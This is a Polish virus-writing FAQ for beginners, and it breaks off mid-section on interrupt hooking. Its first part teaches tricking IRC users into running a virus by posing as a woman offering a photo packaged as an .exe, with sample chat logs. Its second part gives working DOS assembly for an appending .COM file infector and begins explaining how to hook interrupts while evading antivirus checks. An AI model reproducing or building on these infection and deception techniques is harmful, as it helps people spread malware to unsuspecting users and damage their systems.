doklejanie się do plików


Doklejanie się do plików



===============================================================================
---==] FaQ wersja 0.1 Beta (@) Wajrus [==---
-SOCiAL ENGEERiN'- ViRii -DeStRuCtiN'-
===============================================================================

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ DisClaiMeR @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ Musze w tym miejscu zaznaczyc, ze nie ponosze zadnej odpowiedzialnosci za @
@ zamieszczone tu teksty. Wszystko jest w celach edukacyjnych. Jesli zrobiles @
@ komus lub sobie przez nie krzywde, to juz twoj problem. Masz pecha 8-| @
@ Jesli zdecydujesz sie to przeczytac, najlepiej przeczytaj od dechy do dechy.@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

.ÄÄÄÄÍÍÍÍÍÍÍÍ Od tworcy: ÍÍÍÍÍÍÍÍÍÄÄÄÄ.
{ Faq ten jest przeznaczony dla poczatkujacych wirusologow }
{ chcacych sie nauczyc tego i owego o virii }
{ oraz pisywac virii ;-) }

#1 SOCIAL ENGEENERiN' & ViRii
Punkt 1: IRC transfer binaria

#2 ViRii STARTER
Punkt 1: Slowo wstepu
Punkt 2: Doklejanie sie do plikow
Punkt 3: Przejmowanie przerwan po
doklejeniu sie do programow
Punkt 4: Jak zdobyc orginalny wektor
przerwania 21h ?
Punkt 5: Szyphrowanie
Punkt 6: Ukrywanie twojego kodu
przed oczami innych

#3 LAME ZONE ATTACK
Punkt 1: Format 4 lame ?!
Punkt 2: Konkurs

=============================
#1 SOCIAL ENGEENERiN' & ViRii
=============================

Punkt 1 : IRC transfer binaria.
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Chcialbym wam przyblizyc kilka sposobow poslugiwania sie IRC aby
uzyskac swoj upragniony cel, czyli zlinowanie komus wira. hehe.
Jest to wbrew pozorom trudne do zrealizowania. Caly kruczek polega
na tym, ze wiekszosc ludzi (zwalaszcza lamerzy) panicznie boja sie
wirusow. Ten fakt pogarsza nasze szanse na trensfer. No ale od czego
mamy glowe ! Podam wam teraz extra sposob (juz wyprobowany) na
zlinowanie komus wirusa. Robimy tak: Wchodzimy na IRC pod jakims
perwersyjnym nickiem (np. Pipolinka). Wazne jest, aby podac sie za
panienke. Dlaczego? Proste! Po pierwsze budzimy wieksze zaufanie a po
drugie, co wazniejsze, ingerujemy w genetycznie zakodowane instynkty
ludzkie (hihi, podobno kazdy facet mysli o seksie mniej wiecej co
5 minut, heh, mamy to po prostu zakodowane genetycznie :)). Co dalej?
Ano wchodzimy na jakis kanal (najlepiej na taki, na ktorym jest multimum
ludziuf). Teraz rzucamy na kanale jakis orginalny tekst (np. "jestem
strasznie napalona i szukam jakiegos przystojnego chlopca *usmiech*).
Za mamencik zobaczycie pierwszego napalonego goscia. Potem nastepny,
nastepny i nastepny ... (moim rekordem jest 23 w ciagu 5 min).
Podam teraz przykladowowa konwersacje, ktora wyjasni te technike
po krotce.

Przykladowy log:

ktos mnie wzywal
tak. pipolinka.
sam twoj nick mowi ze jestes napalona:)
(Kosiarz_umyslow> pokaz swoj ogien, pokaz jak bardzo jestes napalony
na irc, niewiem jak to zrobic
  Pipolinka 
  Pipolinka 
to wszystko co moge zrobic, hehe
jestem samotna i napalona
czekam az przelamiesz pierwsze lody
he
a jak mam to zrobic przez internet powiedz mi
opisz sie najpierw
mam okragle posladki, strasznie wielkie zderzaki
i stoje na bardzo wysokich nogach

[wszystko idzie ok. gosciu sie podjaral ... :)))]

przeslij zdjecie to zabaczymy co sie da zrobic:)
ok. ale pod reka mam tylko przekonwertowane na format exe
w programie graficznym Graphic Workshop (mniej zajmuje).

[ehmm, jesli to total lamer to zgodzi sie bez namyslu; sprawdzilem, hehe]

dobra. DCC.

[hehehe. teraz przygotowujemy wir-niespodzanke w postaci pliku exe :oD ]

masz?
mam :)

[no to tera se to uruchom, hihi :---) ]

thnx.

[not at all...]

Inny przyklad loga:

intrygujacy nick
nie daje rady, tylu tu napalencow ...
moze zdecyduj sie tylko na mnie..??
jak okazesz sie ciekawy, dam ci sprobowac i przesle ci
moje zdjecie (leze na tapczanie tylko w bieliznie).
ooo!
(tomm> darek 28 latek...
180 szatyn..niebieskie oczka..
kocham muzyke komputery i sex..kazdy nawet najbardziej perwersyjny..
jestes w moim typie... w nagrode przesle ci moje zdjecie, ok?

[?!??!??]

ok. fajnie.
jest przeksztalcone w programie GWS na format exe wraz
z krotka animacja ze mna.

[co ty na tio ?]

przeslij plz

[hmm, rozmowa rozmowa, ale trza przejsc do konkretow ;) ]

oki. dzieki.

[siur. polecam sie na przyszlosc :)))))))]

tia. madafaka i tomm maja teraz na dysku plik z wirusem i nic nie
podejrzewaja ze moze to byc jakis perfidny podstep. Po wyjsciu z internetu
(a byc moze nawet odrazu, hihi :)) najprawdopodobniej przegladna pliki ktore
dzis sciagneli. Wtedy zobacza plik pipolina.exe :-D i ogarnie ich nieodparta
potrzeba zobaczenia tak oczekiwanego zdjecia.
Chyba wiadomo co dalej... :--)

Jest jednak kilka warunkow o ktorych musimy pamietac podczas naszych swawol.
Wymienie je teraz.
-naklaniany gosciu musi byc "zaawansowanym" lamerem
-nasz nick powinien byc perwersyjnie nieelegancki
-musimy robic dobre wrazenie na osobie z ktora konwersujemy

Muhihi. Mozecie pomyslec ze jest to troche nieetyczne zeby podszywac sie pod
panienke (transwestyta jakis czy co? wrrrrr) ale powiem (nie bez kozery)
ze jest to idealny pomysl aby zrealizowac swoje zamysly. Oprocz manipulowania
umyslem mam jeszcze kilka innych sposobow na przeslanie komus wira (o tym moze
w nastepnym faq ;))
Dodam jeszcze ze aby metoda ta byla do kwadratu skuteczna watro tez nawiazywac
kontakty z zagranica :) hie hie. O ogromie rozprzestrzeniania sie naszego wira
taka metoda nie musze chyba wspominac :o]

PS. Zamieszczone logi to fragmenty prawdziwych konwersacji z IRC.
Az sie wierzyc nie chce, no nie ? :Ä)


================
#2 ViRii STARTER
================

Punkt 1 : Slowo wstepu.
+-+-+-+-+-+-+-+-+-+-+-+

Ehlo Ehlo, wiariaci komputerowi laczcie sie !
Ten text jest przeznaczony przede wszystkim dla wariatow komputerowych
ktorzy znaja jezyk maszynowy procesorow rodziny Intel 80x86 i zamierzaja
swoja wiedze wykorzystac w bardzo brzydki sposob (hihi. tfu.. 8-) -piszac
wirusy :-] Jezeli ty jestes takim swirem, a nie wiesz nic o pisaniu
wirusow to sie nie martw - jezeli nauczyles sie asemblera, to czytajac
ten artykul naumiesz sie pisac virii. Nie bede tu pisal czym jest wirus
komputerowy, bo kazdy napewno to wie. Do zrozumienia tresci textu przyda
ci sie znajomosc Pascala, gdyz wiele algorytmow bede tlumaczyl
(a przynajmniej sie szczerze staral ;-) poslugujac sie pseudo-kodem,
a ten zas jest bardzo podobny do Pascala. W textach tego co przeczytasz
znajdziesz sporo zrodlowek z obszernymi opisami. Jak to wyglada w praktyce
dowiesz sie za chwile...

PS. W Tej czesci FAQ znajdziesz tylko informacje o rezydentnych
wirusach plikowych! (maybe w next wersji bedzie troche obszerniej ;-)


Punkt 2: Doklejanie sie do plikow.
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

OK. Na poczatku opisze kilka podstawowych metod doklejania sie do plikow.
Najprostsza metoda jest doklejanie sie do plikow .COM.
Programy w postaci *.COM sa najprostszymi programami spotykanymi na
PC-tach. Sa one rowniez bardzo ograniczone. Moga maksymalnie miec 64 Kb
(jeden segment), sa cale ladowane do pamieci a instrukcje w programie
wykonywane sa w takiej kolejnosci w jakiej sa zapisane w jego wnetrzu.
Dodatkowo wiadomo, ze wszystkie rejestry segmentowe w chwili uruchomienia
.COM-a maja te sama wartosc, a rejestr IP ma zawsze wartosc 100h
(256 w trybie DEC).

Dla przykladu: 24-bajtowy program PRZYKLAD.COM (kod zrodlowy zamieszczony
u dolu) wygladajacy w nastepujacy sposob: 0B8h,012h,04Ah,0B9h,052h,04Dh,
0BAh,049h,043h,0CDh,02Fh,081h,0F9h,043h,049h,075h,006h,0B4h,002h,0B2h,007h,
0CDh,021h,0C3h (program robi BEEP, gdy dysk na ktorym zostal uruchomiony
jest spakowany DOUBLE SPACE-m lub jakims innym gownem :).
Zacznie sie ZAWSZE wykonywac od instrukcji 0B8h, 012h, 04Ah (MOV AX,4A12h)
nastepna bedzie instrukcja lezaca po niej itd.

OK. Przeanalizujmy teraz, jak mozna dokleic jakis wlasny programik do
tego, przedstawionego nizej.

;*****************Ciachnij**********************

SEG_A SEGMENT BYTE PUBLIC
ASSUME CS:SEG_A, DS:SEG_A, ES:SEG_A, SS:SEG_A
ORG 100h
@POCZATEK:
MOV AX,4A12H
MOV CX,'MR'
MOV DX,'CI'
INT 2FH
CMP CX,'IC'
JNE @KONIEC
MOV AH,02H
MOV DL,07H
INT 21H
@KONIEC:RET

SEG_A ENDS
END @POCZATEK

;*****************Ciachnij**********************

Zalozmy, ze bedziemy doczepiac wlasny program wypisujacy cos na ekranie,
na przyklad:

MOV AH,09H
MOV DX,OFFSET @TEKST
INT 21H
@TEKST: DB 'PRZYKLAD WIRA$'

Podczepienie tego programiku bedzie polegalo na doklejeniu go na koniec
"zarazanego", tak aby wygladalo to nastepujaco:

@POCZATEK:
MOV AX,4A12H
MOV CX,'MR'
MOV DX,'CI'
INT 2FH
CMP CX,'IC'
JNE @KONIEC
MOV AH,02H
MOV DL,07H
INT 21H
@KONIEC:
RET
MOV AH,09H
MOV DX,OFFSET @TEKST
INT 21H
@TEKST: DB 'PRZYKLAD WIRA$'

Tia. Napiszmy odpowiedni program .COM, doczepiajacy na koniec pliku
PRZYKLAD.COM nasz kawalek kodu. Tak teraz, jak i pozniej nie sprawdzajmy,
czy plik, do ktorego doczepiamy nasz program nie jest na to za duzy.
Zrobmy to Turbo Asemblerem:

;*****************Ciachnij**********************

; NAGLOWEK DLA TASM.EXE
SEG_A SEGMENT BYTE PUBLIC
ASSUME CS:SEG_A, DS:SEG_A, ES:SEG_A

; INFORMACJE, ZE PROGRAM JEST TYPU .COM
ORG 100H
@POCZATEK:

; OTWARCIE PLIKU DO ZAPISU I ODCZYTU
MOV AX,3D02H
LEA DX,@PLIK
INT 21H

; ZAPAMIETANIE W UCHWYTU TEGO PLIKU
XCHG AX,BX

; PRZESUNIECIE WSKAZNIKA ODCZYTU/ZAPISU
; NA KONIEC PLIKU
MOV AX,4202H
XOR CX,CX
XOR DX,DX
INT 21H

; OBLICZENIE, ILE BAJTOW ZAWIERA MOJA PROCEDURA,
; KTORA BEDE ZAPISYWAL NA KONIEC PLIKU PRZYKLAD.COM.
; DLUGOSC OBLICZAMY ODEJMUJAC PRZESUNIECIA
; KONCA I POCZATKU.
MOV CX,(OFFSET @MOJE_END)-(OFFSET @MOJE)

; ZAPISUJEMY BAJTOW Z BUFORA <@MOJE>
LEA DX,@MOJE
MOV AH,40H
INT 21H

; ZAMYKAMY PLIK PRZYKLAD.COM. PAMIETAJMY, ZE JEGO
; UCHWYT WCIAZ ZNAJDUJE SIE W
MOV AH,3EH
INT 21H

; KONCZYMY DZIALANIE. AHA, MOZE TU ZAMIAST BYC
; ALBO WYWOLANIE 21H PRZERWANIA
; Z FUNKCJA 4CH.
RET

; NAZWA PLIKU DO OTWARCIA
@PLIK: DB 'PRZYKLAD.COM',0

; POCZATEK BUFORA Z MOJA PROCEDURA
@MOJE:
MOV AH,09H
MOV DX,OFFSET @TEKST
INT 21H
@TEKST: DB 'PRZYKLAD WIRA$'

; KONIEC BUFORA
@MOJE_END:

; ZAKONCZENIE PLIKU - DLA TASM.EXE

SEG_A ENDS
END @POCZATEK
;*****************Ciachnij**********************

Uzyskujemy pozadany efekt, uruchamiamy program PRZYKLAD i... AAAAAA!!!
nic sie nie dzieje. Dlaczego? Otoz of coz pozostaje nam jeszcze przejac
punkt startu programu i najpierw przekazac sterowanie do "wirusa".
Latwo sobie wyobrazic, jak po tej operacji bedzie wygladal program:

@POCZATEK:
JMP @MOJE
MOV CX,'MR'
MOV DX,'CI'
INT 2FH
CMP CX,'IC'
JNE @KONIEC
MOV AH,02H
MOV DL,07H
INT 21H
@KONIEC:
RET
@MOJE:
MOV AH,09H
MOV DX,OFFSET @TEKST
INT 21H
JMP @START
@TEKST: DB 'PRZYKLAD WIRA$'

Taa. Pozostaje tylko kwestia zapamietania pierwszych kilku (w tym wypadku
3 bajtow), aby wstawic tam nasz JUMP, a nastepnie odtworzenie ich.
Bedzie to od nas wymagalo zarezerwowania jeszcze 3 bajtowego bufora,
najlepiej pod napisem. Algorytm takiej czynnosci jest prosty:

OPEN ('PRZYKLAD.COM')
LOAD (3 BAJTY)
SEEK (START PLIKU)
SAVE (ROZKAZ JMP)
SEEK (KONIEC PLIKU)
SAVE ("WIRUS")
SAVE (3 BAJTY ZE STARTU)

Lecz jest jeszcze jeden problem, mianowicie nasz program poza
wyswietlaniem napisu bedzie musial zadbac o odtworzenie 3 bajtow
na poczatek programu. Ale jak obliczyc start programu??
To proste: CS:100h!!!! Po zmodyfikowaniu nasz doczepiany programik
bedzie wygladal tak:

@MOJE:
MOV AH,09H
MOV DX,OFFSET @TEKST
INT 21H
MOV SI,OFFSET @BUFOR
MOV DI,100H
MOV CX,0003H
REP MOVSB
MOV SI,100H
JMP SI
@TEKST: DB 'PRZYKLAD WIRA$'
@BUFOR: DB 3 DUP (0)

Pomyslisz: Hmm, dlaczego odtwarzac bufor na poczatek i tam go wykonywac,
skoro mozna wykonac bufor, a potem skoczyc na cs:103h? Otoz nie mozna tak,
gdyz skad wiesz, czy 3 bajty w buforze stanowia kompletny rozkaz, a nie np.
uciety w polowie? Np. TEST BP,0001H ma 4 bajty, albo niech to bedzie NOP
a potem MOV AX,0A000h, to MOV utniesz w polowie! Musimy go (tzn. bufor)
odtworzyc na swoje miejsce! Za zapamietanie i zachowanie poczatku programu
odpowiedzialny bedzie "program instalacyjny" (pozniej sam wirus).
Taa, oto on z nowymi obowiazkami:

;*****************Ciachnij**********************

; NAGLOWEK DLA TASM.EXE
SEG_A SEGMENT BYTE PUBLIC
ASSUME CS:SEG_A, DS:SEG_A, ES:SEG_A

; INFORMACJE, ZE PROGRAM JEST TYPU .COM
ORG 100H

@POCZATEK:
; OTWARCIE PLIKU DO ZAPISU I ODCZYTU
MOV AX,3D02H
LEA DX,@PLIK
INT 21H

; ZAPAMIETANIE W UCHWYTU TEGO PLIKU
XCHG AX,BX

; ZALADOWANIE DO BUFORA PIERWSZYCH TRZECH BAJTOW
MOV AH,3FH
LEA DX,@BUFOR
MOV CX,0003H
INT 21H

; PRZESUNIECIE WSKAZNIKA ODCZYTU/ZAPISU
; NA POCZATEK PLIKU
MOV AX,4200H
XOR CX,CX
XOR DX,DX
INT 21H

; ZAPISANIE NA POCZATKU PROGRAMU SKOKU DO VIRA
MOV CX,0003H
MOV AH,40H
LEA DX,@SKOK
INT 21H

; PRZESUNIECIE WSKAZNIKA ODCZYTU/ZAPISU
; NA KONIEC PLIKU
MOV AX,4202H
XOR CX,CX
XOR DX,DX
INT 21H

; OBLICZENIE, ILE BAJTOW ZAWIERA MOJA PROCEDURA,
; KTORA BEDE ZAPISYWAL NA KONIEC PLIKU PRZYKLAD.COM.
; DLUGOSC OBLICZAMY ODEJMUJAC PRZESUNIECIA
; KONCA I POCZATKU. W TO JEST JUZ WLICZONE 3 BAJTY
; NA BUFOR ORYGINALNYCH BAJTOW PROGRAMU, GDYZ JEST
; ON (BUFOR) POMIEDZY ETYKIETAMI.
MOV CX,(OFFSET @MOJE_END)-(OFFSET @MOJE)

; ZAPISUJEMY BAJTOW Z BUFORA <@MOJE>
LEA DX,@MOJE
MOV AH,40H
INT 21H

; ZAMYKAMY PLIK PRZYKLAD.COM. PAMIETAJMY, ZE JEGO
; UCHWYT WCIAZ ZNAJDUJE SIE W
MOV AH,3EH
INT 21H

; KONCZYMY DZIALANIE. MOZE TU ZAMIAST BYC
; ALBO WYWOLANIE 21H PRZERWANIA
; Z FUNKCJA 4CH.
RET

; NAZWA PLIKU DO OTWARCIA
@PLIK: DB 'PRZYKLAD.COM',0

; POCZATEK BUFORA Z MOJA PROCEDURA. DODANE
; ODTWORZENIE PIERWSZYCH 3 BAJTOW ORYGINALNEGO
; PROGRAMU

@MOJE:
MOV AH,09H
MOV DX,OFFSET @TEKST
INT 21H
MOV SI,OFFSET @BUFOR
MOV DI,100H
MOV CX,0003H
REP MOVSB
MOV SI,100H
JMP SI
@TEKST: DB 'PRZYKLAD WIRA$'
@BUFOR: DB 3 DUP (0)

; KONIEC BUFORA
@MOJE_END:

; BUFOR Z INSTRUKCJA SKOKU. TA INSTRUKCJA ZOSTANIE
; PRZENIESIONA NA POCZATEK "ZARAZANEGO" PROGRAMU.
@SKOK: JMP @MOJE

; ZAKONCZENIE PLIKU - DLA TASM.EXE
SEG_A ENDS
END @POCZATEK

;*****************Ciachnij**********************

Po uruchomieniu programu rozmnazajacego, PRZYKLAD.COM teoretycznie
wyglada tak:

@POCZATEK:
JMP @MOJE
MOV CX,'MR'
MOV DX,'CI'
INT 2FH
CMP CX,'IC'
JNE @KONIEC
MOV AH,02H
MOV DL,07H
INT 21H
@KONIEC:
RET
@MOJE:
MOV AH,09H
MOV DX,OFFSET @TEKST
INT 21H
MOV SI,OFFSET @BUFOR
MOV DI,100H
MOV CX,0003H
REP MOVSB
MOV SI,100H
JMP SI
@TEKST: DB 'PRZYKLAD WIRA$'
@BUFOR: MOV AX,4A12H

Jednak teraz, uruchomienie PRZYKLAD.COM powoduje zawieszenie komputera,
wiec cos jeszcze jest zle?! I tu wlasnie zaczynaja sie (male) komplikacje.
Zaczyna sie troche przeliczania adresow, ingerencja w "bajtowy" wyglad
instrukcji itd. Tia. Postaram ci jasno wytlumaczyc o co chodzi. Zobacz:

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
I. SKOK DO WIRUSA
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Jak zapewne wiesz, skoki sa rozne. Ilosc bajtow, jaka posiada rozkaz jest
uzalezniona od odleglosci, na jaka chcesz skoczyc i kierunku, czy wykonujesz
skok wewnatrz-segmentowy czy nie itd. My bedziemy potrzebowac 3 bajtowego
skoku o kodzie 0E9H i o dwoch bajtach przeznaczonych na adres. Adresem do
skoku nie moze byc sobie tak po prostu OFFSET @MOJE, gdyz jest to adres
wzgledny dla programu dolaczanego. Jezeli etykieta @MOJE: jest na poczatku
programu jej adresem bezwzglednym bedzie oczywiscie CS:0, ale adresem
wzgledem programu bedzie CS:100H. Jezeli "na zywca" przepiszemy ten adres,
to po wstrzeleniu tej instrukcji do zarazanego programu bedzie ona
petla typu:
START_PROGRAMU:
JMP START_PROGRAMU

Zadasz sobie na pewno pytanie, "jak w takim razie obliczyc adres naszego
kodu, jezeli nie znamy wielkosci zarazanego programu?". Ok! Jest to proste.
hie hie. Przyjrzyjmy sie blizej, co to jest OFFSET. Jest to przesuniecie
(numer bajtu) od poczatku segmentu.

Jezeli dysponujemy np. takim programem:

@START:
PUSH 0A000H
POP ES
XOR DI,DI
MOV SI,OFFSET @DANE
MOV CX,32000
REP MOVSW
RET
@DANE:
DB ?,?,?,?,(...),?

to adres etykiety @DANE wzgledem programu jest rowny wielkosci kodu
calego programu do tej etykiety, czyli ((OFFSET @DANE)-(OFFSET @START))
a wzgledem poczatku segmentu w programie .COM o 100H wiecej.

Jest wiec logiczne, ze nie znajac dlugosci programu, adres (wzgledem
poczatku segmentu) pierwszej dolepionej instrukcji obliczymy jako:

(WIELKOSC(PLIKU) + 100H)

Wiec nasz skok na poczatek "wirusa" powinien wygladac tak:

ÉÍÍÍÍÉÍÍÍÍÉÍÍÍÍ
º E9 ºº xx ºº xx º
ÈÍÅ‚ÍÍźÈÍÅ‚ÍÍźÈÍÍÅ‚Íź
Å‚ Å‚ Å‚ 2 bajty na
Å‚ Ä„ÄÄÄÄÄÄÁÄÄ (dlugosc programu)-3
Å‚
Ä„ÄÄ kod instrukcji JMP

Czemu -3 ? Bo 3 bajty zajmuje skok! Proste no nie! Hehe. Jak zapisac to
w kodzie? Prosto! Tam, gdzie jest bufor @SKOK nie umieszczajmy pelnego
skoku, ale nastepujaca tablice bajtow:

@SKOK: DB 0E9h
@SKOK_1:DB 0,0

Taa. Nastepnie po otwarciu programu, ktory chcemy zarazic sprawdzmy jego
dlugosc i wstawmy jako adres skoku w taki sposob:

OTWORZ(PLIK)
X=WIELKOSC(PLIKU)
@SKOK_1=X-3 (mov word ptr @skok_1,xx)

Z takiego zapisu instrukcji JMP wynika jedna BARDZO DOBRA rzecz:
Skok ten bedzie sie zawsze znajdowal w pamieci pod adresem CS:100H, a pod
adresem CS:101H zawsze bedzie... dlugosc zdrowego programu-3 ktora mozemy
wykozystac na wiele sposobow, miedzy innymi do pozniejszego przeliczania
wzglednych adresow wszystkich pozostalych komponentow vira (lub do
maskowania technika STEALTH).

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
II. ADRESY NAPISOW I BUFORA
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Tzn. to tyczy sie wszystkich adresow uzywanych w wirusie, wszystkich
napisow, zmiennych, buforow itp. Problem jest nastepujacy: jak obliczyc
adres jakiegos np. napisu w naszej procedurze po jej doklejeniu do innego
programu? Musimy rozwiazac ten problem tylko w kodzie naszego programu
rozmnazajacego. Juz tam musi byc on uniwersalny, aby natychmiast po
dolaczeniu do pliku mogl dzialac. Tak w pamieci wyglada nasza
rozmnazaczka:

@POCZATEK: ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ OFFSET POCZATEK = 100H
º º
º º
º ... º
@MOJE: º º OFFSET @MOJE = ?
º º
º º
º ... º
@TEKST: º º OFFSET @TEKST = ?
º º
º ... º
@MOJE_END: º º OFFSET @MOJE_END=?
º º
º ... º
º º

Musimy przeliczyc, pod jakim adresem bedzie sie znajdowala etykieta
@TEKST po doczepieniu @MOJE do innego programu. Wbrew pozorom jest
to bardzo latwe:

a) obliczmy jaki bylby bezwzgledny adres @TEKST, gdyby program
zaczynal sie od @MOJE, czyli od kodu, ktory rozmnazamy:

ADRES=((OFFSET @TEKST)-(OFFSET @MOJE))

b) wiemy, ze po dodaniu do pliku bedzie on o ILES TAM przesuniety,
bo bedzie na koncu pliku. O ile? Przypomnij sobie, ze w CS:[101H]
jest wlasnie ta dlugosc tyle, ze minus 3:

ADRES=(((OFFSET @TEKST)-(OFFSET @MOJE))+03H)
ADRES=ADRES+WORD PTR CS:[101H]

c) oczywiscie jest to .COM, wiec adres wzgledem segmentu jest
o 100H zwiekszony:

ADRES=(((OFFSET @TEKST)-(OFFSET @MOJE))+103H)
ADRES=ADRES+WORD PTR CS:[101H]

d) koniec! ;)

Jak tego uzywac? Zamiast

MOV DX,OFFSET @TEKST

bedziesz musial pisac:

MOV DX,(((OFFSET @TEKST)-(OFFSET @MOJE))+103H)
ADD DX,WORD PTR CS:[101H]

Oto pelna, dzialajaca rozmnazaczka, z odrobine zmieniona nasza
procedura, ze wszystkimi poprzeliczanymi adresami i na 100%
dzialajaca! ;*****************Ciachnij**********************

; NAGLOWEK DLA TASM.EXE
SEG_A SEGMENT BYTE PUBLIC
ASSUME CS:SEG_A, DS:SEG_A, ES:SEG_A

; INFORMACJE, ZE PROGRAM JEST TYPU .COM
ORG 100H

@POCZATEK:
; OTWARCIE PLIKU DO ZAPISU I ODCZYTU
MOV AX,3D02H
LEA DX,@PLIK
INT 21H

; ZAPAMIETANIE W UCHWYTU TEGO PLIKU
XCHG AX,BX

; ZALADOWANIE DO BUFORA PIERWSZYCH TRZECH BAJTOW
; Z ORYGINALNEGO PLIKU.
MOV AH,3FH
LEA DX,@BUFOR
MOV CX,0003H
INT 21H

; PRZESUNIECIE WSKAZNIKA ODCZYTU/ZAPISU
; NA KONIEC PLIKU. W AX JEST WIELKOSC PLIKU
MOV AX,4202H
XOR CX,CX
XOR DX,DX
INT 21H

; ZAPISUJEMY DLUGOSC SKOKU DLA INSTRUKCJI JMP.
; NA RAZIE W PAMIECI, POTEM DO PLIKU
SUB AX,3
MOV WORD PTR @SKOK_1,AX

; OBLICZENIE, ILE BAJTOW ZAWIERA MOJA PROCEDURA,
; KTORA BEDE ZAPISYWAL NA KONIEC PLIKU PRZYKLAD.COM.
; DLUGOSC OBLICZAMY ODEJMUJAC PRZESUNIECIA
; KONCA I POCZATKU. W TO JEST JUZ WLICZONE 3 BAJTY
; NA BUFOR ORYGINALNYCH BAJTOW PROGRAMU, GDYZ JEST
; ON (BUFOR) POMIEDZY ETYKIETAMI.
MOV CX,(OFFSET @MOJE_END)-(OFFSET @MOJE)

; ZAPISUJEMY BAJTOW Z BUFORA <@MOJE>
LEA DX,@MOJE
MOV AH,40H
INT 21H

; PRZESUNIECIE WSKAZNIKA ODCZYTU/ZAPISU
; NA POCZATEK PLIKU
MOV AX,4200H
XOR CX,CX
XOR DX,DX
INT 21H

; ZAPISANIE NA POCZATKU PROGRAMU SKOKU DO VIRA
MOV CX,0003H
MOV AH,40H
LEA DX,@SKOK
INT 21H

; ZAMYKAMY PLIK PRZYKLAD.COM. PAMIETAJMY, ZE JEGO
; UCHWYT WCIAZ ZNAJDUJE SIE W
MOV AH,3EH
INT 21H

; KONCZYMY DZIALANIE. MOZE TU ZAMIAST BYC
; ALBO WYWOLANIE 21H PRZERWANIA
; Z FUNKCJA 4CH.
RET

; NAZWA PLIKU DO OTWARCIA
@PLIK: DB 'PRZYKLAD.COM',0

; POCZATEK BUFORA Z MOJA PROCEDURA. DODANE
; ODTWORZENIE PIERWSZYCH 3 BAJTOW ORYGINALNEGO
; PROGRAMU. WSZYSTKIE ADRESY SA JUZ PRZELICZONE

@MOJE:
; DO PRZENOSIMY DLUGOSC ZARAZANEGO PROGRAMU-3
MOV BX,WORD PTR CS:[101H]
MOV AH,09H

; DO PRZELICZONEGO ADRESU DODAJEMY 103H. 100H,
; GDYZ JEST TO PROGRAM .COM, A 3, GDYZ NASTEPNIE
; DODAMY GDZIE JEST DLUGOSC PROGRAMU-3
MOV DX,(((OFFSET @TEKST)-(OFFSET @MOJE))+103H)
ADD DX,BX
INT 21H

; TO SAMO, CO W PRZYPADKU POWYZSZEJ OPERACJI
MOV SI,(((OFFSET @BUFOR)-(OFFSET @MOJE))+103H)
ADD SI,BX
MOV DI,100H

; ZAPAMIETAJMY , CZYLI 100H. INSTRUKCJA
; ZAJMUJE 1 BAJT
PUSH DI
MOV CX,0003H
REP MOVSB

; ODTWORZMY DO 100H, CO JEST ROWNOZNACZNE
; Z , ALE RAZEM Z POWYZSZYM
; ZAJMUJE O JEDEN BAJT MNIEJ
POP SI
JMP SI

@TEKST: DB 'PRZYKLAD WIRA$'
@BUFOR: DB 3 DUP (0)

; KONIEC BUFORA
@MOJE_END:

; BUFOR Z INSTRUKCJA SKOKU. TA INSTRUKCJA ZOSTANIE
; PRZENIESIONA NA POCZATEK "ZARAZANEGO" PROGRAMU.
@SKOK: DB 0E9H
@SKOK_1:DB 00H,00H

; ZAKONCZENIE PLIKU - DLA TASM.EXE
SEG_A ENDS
END @START

;*****************Ciachnij**********************


Punkt 3: Przejmowanie przerwan.
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Przejdzmy teraz do przejmowania przerwan po doklejeniu sie do programu ;-)
Przejecie przerwan przez wirusa jest warunkiem koniecznym do tego, aby
byl on rezydentny. Standardowe mechanizmy DOS-a do przejmowania przerwan,
czyli funkcje 25H i 35H nie sa tutaj przydatne, gdyz one to wlasnie sa
obserwowane w pierwszej kolejnosci przez programy anty-wirusowe.
Jakiekolwiek przerwania bedziemy przejmowac bedziemy poslugiwali sie TWP,
czyli Tablica Wektorow Przerwan ktora zaczyna sie w pamieci PC pod stalym
adresem 0000H:0000H i zajmuje 1024 bajty. Adres kazdego przerwania ma
4 bajty, przerwan jest 256 wiec stad ta liczba. Budowa TWP jest prosta:
pod adresem 0000H:0000H jest adres przerwania INT 0H, pod adresem kolejnym
czyli 0000H:0004H jest adres przerwania INT 01H itd. Kazde 4 bajty adresu
sa zapisane w TWP w postaci SEGMENT:OFFSET, przy czym jest zachowana
konwencja Intel-owska dla odwracania bajtow, czyli np. 145EH:0C12AH
bedzie "bajtowo" w TWP wygladalo tak:

ÉÍÍÍÍ ÉÍÍÍÍ ÉÍÍÍÍ ÉÍÍÍÍ
º 5e º º 14 º º 2a º º c1 º
ÈÍÍÍÍź ÈÍÍÍÍź ÈÍÍÍÍź ÈÍÍÍÍź

Tak jak po wywolaniu funkcji 35H przerwania 21H dla INT 17H w ES:BX mamy
adres procedury obslugi tego przerwania, to "na dziko" bedzie to
wygladalo tak:
ÚÄÄÄÄ numer przerwania
PUSH 0000H Å‚
POP ES Å‚
MOV BX,WORD PTR ES:[(17H*04H)+02H]
MOV ES,WORD PTR ES:[(17H*04H]

I adekwatnie: gdy po funkcji 25H zostaje ustalony nowy adres procedury
obslugi przerwania, tak my to bedziemy robic nastepujaco:

ÚÄÄÄÄ numer przerwania
PUSH 0000H Å‚
POP ES Å‚ ÚÄÄÄ segment z nasza
MOV WORD PTR ES:[(17H*04H)],CS procedura
MOV WORD PTR ES:[(17H*04H)+02H],OFFSET MAINEPROC
MAINEPROC: Å‚
IRET Ä„ÄÄ offset naszej
procedury

Jednak w tym przypadku pozostaje jeno male ALE: dobry smak wymaga,
aby dwie newralgiczne linie byly wykonywane przy wylaczonych
przerwaniach sprzetowych. Szczegolnie wazne, a wrecz obowiazkowe
jest to przy przejmowaniu takich wlasnie przerwan, np:

CLI
